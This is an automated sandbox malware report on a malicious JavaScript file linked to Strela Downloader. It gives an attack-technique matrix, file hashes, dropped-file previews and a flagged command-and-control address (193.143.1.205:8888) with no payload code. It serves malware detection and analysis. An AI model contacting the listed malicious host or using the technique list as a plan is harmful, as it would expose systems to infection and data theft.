Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1446217142313155154.js	5%	Virustotal		Browse
1446217142313155154.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/s	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2597181768.000001B608A10000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1365352083.00000169F5938000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1365352083.00000169F5990000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1365352083.00000169F5962000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s	net.exe, 00000007.00000002.1365352083.00000169F5938000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1370261080.000001B608C10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587961
Start date and time:	2025-01-10 19:48:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1446217142313155154.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.105, 2.16.168.107, 2.19.11.117, 2.19.11.122, 13.107.246.45, 3.219.243.226, 20.12.23.50, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:49:40	API Interceptor	23x Sleep call for process: powershell.exe modified
13:49:44	API Interceptor	1x Sleep call for process: net.exe modified
13:49:44	API Interceptor	2x Sleep call for process: svchost.exe modified
13:49:52	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	390712401072120127.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1956351416528695.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	125141699249677575.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1227622214229272730.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293816234142143228.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	7893194593206114961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8811396102969806
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9e:0J7adfWuK0p/QDfKoPeuP0aN4fqoxR
MD5:	EBF89B0A2D6D7CF0CD1F62E2E7463F8E
SHA1:	E4D508120DD3EE449336BA9904CB7CE1881806C1
SHA-256:	4B30AFAEEC1017C1EE0BE54A45DA54B89FD8007949DD56C754BDB784472F32F2
SHA-512:	1E0426E9D8F2E047636D4FAF113633BB3B999D3A281E19557535CA3232EA1F389D46C8CF91FC79FB51D5E502FC3A77CB0061E5FC135A90CF4ACC5D5736EC320B
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x13e4669e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.788033325458414
Encrypted:	false
SSDEEP:	1536:3SB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:3azaPv4V4fXq2UaB
MD5:	5C161B0D2BAF46F44651D7C5E42E40D2
SHA1:	3FAA2106BB5872E3CBAD6BBB8859D1BCBDC696DC
SHA-256:	12A7B2FA23B747A34FEE3CAF306893C402DCBE01D5DCE7141F9DA9E62069491E
SHA-512:	FB13976C2EAD08653698CA28A057887A5C8CB43D50DF717026B2F5583A11A05AE5D27D215DDC0FF8EA4D4DECC4F7FAE47BCE000D726972FB79176653C41308B2
Malicious:	false
Preview:	..f.... ...............X\...;...{......................X............{..-1...}..h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{...................................\|..-1...}.8................>v6q-1...}...........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08036779164362358
Encrypted:	false
SSDEEP:	3:ktEYe/gqH8vq1XlVG0+q2Iqe8lKIuCXl/AllNTt/4ll/Q6beV/:k6z/jH8SGE8lKoXtAHtc6V
MD5:	B626442418CAF6E21AED4EEED09E9736
SHA1:	F192F2F9E6445D0A90D5C396A83B641D06D78E57
SHA-256:	6EF27EAE67DB48D99C806F79CDB62EBE4430CF51CB315158E393E4A9161E7D8A
SHA-512:	E7E6885050C89BD943FDD844E36199579D6B2783FAEADD6784A04D22D72A4AEFED5517B1FBA184E9856B4C76C71E9492A6FE31A24D53FEABFC75504C3EF46B1A
Malicious:	false
Preview:	..j......................................;...{..-1...}.......{...............{.......{....:......{.................>v6q-1...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.266055253152613
Encrypted:	false
SSDEEP:	6:iO4/PnQTC+q2PFi2nKuAl9OmbnIFUtS/PnQ0UXZmws/PnQ0U3VkwOFi2nKuAl9Oe:78/QTTvdZHAahFUtO/Q0w/w/Q045wZHi
MD5:	403BC487551A299C54F28AF6A0D285F9
SHA1:	EBD7ED4B54021BE88891BE448DED197786138F9C
SHA-256:	7979D15679F55AF19C20020169809233876303CB8226A0C2682D4D6C37D8CD8F
SHA-512:	127CB93453A441062DD02CA44112C6BF3579158D3046C6CC01A0185C1FEB7DA56D2129748260576BBAAF2DA87EC4108D4BCE8C1A049346E8A2CAAD1A793A0960
Malicious:	false
Preview:	2025/01/10-13:49:44.656 ed8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:49:44.659 ed8 Recovering log #3.2025/01/10-13:49:44.659 ed8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.266055253152613
Encrypted:	false
SSDEEP:	6:iO4/PnQTC+q2PFi2nKuAl9OmbnIFUtS/PnQ0UXZmws/PnQ0U3VkwOFi2nKuAl9Oe:78/QTTvdZHAahFUtO/Q0w/w/Q045wZHi
MD5:	403BC487551A299C54F28AF6A0D285F9
SHA1:	EBD7ED4B54021BE88891BE448DED197786138F9C
SHA-256:	7979D15679F55AF19C20020169809233876303CB8226A0C2682D4D6C37D8CD8F
SHA-512:	127CB93453A441062DD02CA44112C6BF3579158D3046C6CC01A0185C1FEB7DA56D2129748260576BBAAF2DA87EC4108D4BCE8C1A049346E8A2CAAD1A793A0960
Malicious:	false
Preview:	2025/01/10-13:49:44.656 ed8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-13:49:44.659 ed8 Recovering log #3.2025/01/10-13:49:44.659 ed8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.16325492128446
Encrypted:	false
SSDEEP:	6:iO4/PpcCX7i+q2PFi2nKuAl9Ombzo2jMGIFUtS/P+2ZZmws/PwVkwOFi2nKuAl97:78HX7i+vdZHAa8uFUtO2S/w4V5wZHAaU
MD5:	6538EA45004B5D1A2423AACE4780EA2A
SHA1:	157BD84069AC32218CB98D36FD911135397C9E31
SHA-256:	F086AC21002F89B2B5F5D95841080A245C82E90A1F694BAA5701D65D3BB04181
SHA-512:	AA67F5DE1A53B683BE4FF2D4198D1C540D2556875CABAB8A8BD6C59238675D4AF15FA67B0E043ABDDE7ADEAF2332E239A9E60D44E68D96B79217E8EADBA4C450
Malicious:	false
Preview:	2025/01/10-13:49:44.893 204c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:49:44.902 204c Recovering log #3.2025/01/10-13:49:44.903 204c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.16325492128446
Encrypted:	false
SSDEEP:	6:iO4/PpcCX7i+q2PFi2nKuAl9Ombzo2jMGIFUtS/P+2ZZmws/PwVkwOFi2nKuAl97:78HX7i+vdZHAa8uFUtO2S/w4V5wZHAaU
MD5:	6538EA45004B5D1A2423AACE4780EA2A
SHA1:	157BD84069AC32218CB98D36FD911135397C9E31
SHA-256:	F086AC21002F89B2B5F5D95841080A245C82E90A1F694BAA5701D65D3BB04181
SHA-512:	AA67F5DE1A53B683BE4FF2D4198D1C540D2556875CABAB8A8BD6C59238675D4AF15FA67B0E043ABDDE7ADEAF2332E239A9E60D44E68D96B79217E8EADBA4C450
Malicious:	false
Preview:	2025/01/10-13:49:44.893 204c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-13:49:44.902 204c Recovering log #3.2025/01/10-13:49:44.903 204c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e97174d-4c33-49ab-9baf-4e489b383a97.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9b501567-f696-48dd-91fb-b5069ca14a91.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.97345084833217
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEKXhsBdOg2HOcaq3QYiubpP7E4T3y:Y2sRdswydMHx3QYhbd7nby
MD5:	2027C875FD76615B100E7EC5EFC977DB
SHA1:	EBED22809B0885D099C8988AED9EDC8EA659E84B
SHA-256:	6B28D849B91DC615EB2F1120441A5B5390532C1C9766B8A3842850D3866D75B6
SHA-512:	2C0D73B274C5D3562D061DE3B125AE3AFE3931AEEA08952BEDF6E07F56DB148292ACE4B23F6F5A82E29A8D05E6CCB349D56C1F7881F818D19C1CEC7EB413A646
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381094996465016","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124173},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF400d37.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.962905575204746
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqUT9ksBdOg2Hh7caq3QYiubpP7E4T3y:Y2sRds5TdMH43QYhbd7nby
MD5:	92393B2950B190A8D86D8063E042FF44
SHA1:	1CCCB8490A2C6A4B24F8F2FE259B4E8FFD6EE80C
SHA-256:	FEF28D76D356DAC81622F3642879C186660531CB94E3C5439CBEB0B7921DD0F0
SHA-512:	31919EA08B810DF178F5931E6475237866D2F4038F31B46DDC4E61D0F134C25308185F744F3B40882AFCD927B3D1D91A76F3E0CE5E31DC53107F501BA36B0293
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341061835820912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149104},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.229004388000981
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVKDkT:wshFT0h7cZb2EVKZPEANcGIK5EVKDkT
MD5:	7D89E0CAB4E81441BDDF2968EB9BC05E
SHA1:	34596584280A9BAA33FCBE345F4252EABAC32ADC
SHA-256:	315FBB75C97DAE8BB2A6ED55F81B0CFC717B84962C9AB00FA1FC93EAFCF73A1B
SHA-512:	6160B46364752FF7A63B4726CB47C38E3DEE26B1F7128C2531E362F235B0BBD7F2F2B2E680C6E99BEFB0D25C568D45D6F8DC9556FF56C2C5735C47602B2D14EE
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.20212863987053
Encrypted:	false
SSDEEP:	6:iO4/kI+q2PFi2nKuAl9OmbzNMxIFUtS/k1RSZZmws/kTNVkwOFi2nKuAl9OmbzNq:78kI+vdZHAa8jFUtOkDm/wkTNV5wZHAo
MD5:	1B93AF0DA6E78E9BDA1E09E8C5A44BE9
SHA1:	6879D84B6774B08A92BFFEADDA91A10C3FDE3677
SHA-256:	994AE4D6EE4ED3D845E77FD020188B79CA4C4CAF22F59B61282D13412B3F877B
SHA-512:	297E3319B588D1595FD313A30BE91775EB285ACD66068D844B768363F06FD84F49892E082509A03BB1DC081F6E64757298767D0949FB95085738E6101E46D98C
Malicious:	false
Preview:	2025/01/10-13:49:45.561 204c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:49:45.570 204c Recovering log #3.2025/01/10-13:49:45.575 204c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.20212863987053
Encrypted:	false
SSDEEP:	6:iO4/kI+q2PFi2nKuAl9OmbzNMxIFUtS/k1RSZZmws/kTNVkwOFi2nKuAl9OmbzNq:78kI+vdZHAa8jFUtOkDm/wkTNV5wZHAo
MD5:	1B93AF0DA6E78E9BDA1E09E8C5A44BE9
SHA1:	6879D84B6774B08A92BFFEADDA91A10C3FDE3677
SHA-256:	994AE4D6EE4ED3D845E77FD020188B79CA4C4CAF22F59B61282D13412B3F877B
SHA-512:	297E3319B588D1595FD313A30BE91775EB285ACD66068D844B768363F06FD84F49892E082509A03BB1DC081F6E64757298767D0949FB95085738E6101E46D98C
Malicious:	false
Preview:	2025/01/10-13:49:45.561 204c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:49:45.570 204c Recovering log #3.2025/01/10-13:49:45.575 204c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438887013468881
Encrypted:	false
SSDEEP:	384:yejci5GciBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0wurVgazUpUTTGt
MD5:	B3BD5F3FAF937483C4AC40727929498E
SHA1:	7417DBCDEEE8C5396B727E0B17FEBEFC31056D10
SHA-256:	CFDA113AAB7D5FEEB1F5F1BA8371A03CE4FC6E068384E292EA130057DAD7C96C
SHA-512:	13E50FF9508458F23EDD86D616DD8440457E4071E9CD750C974092AD8E7D79C58D25611B2B3354F6F51B9B74EFBE4441EBC0FADF2FD73D1E79A1A24C58880954
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.778009005074336
Encrypted:	false
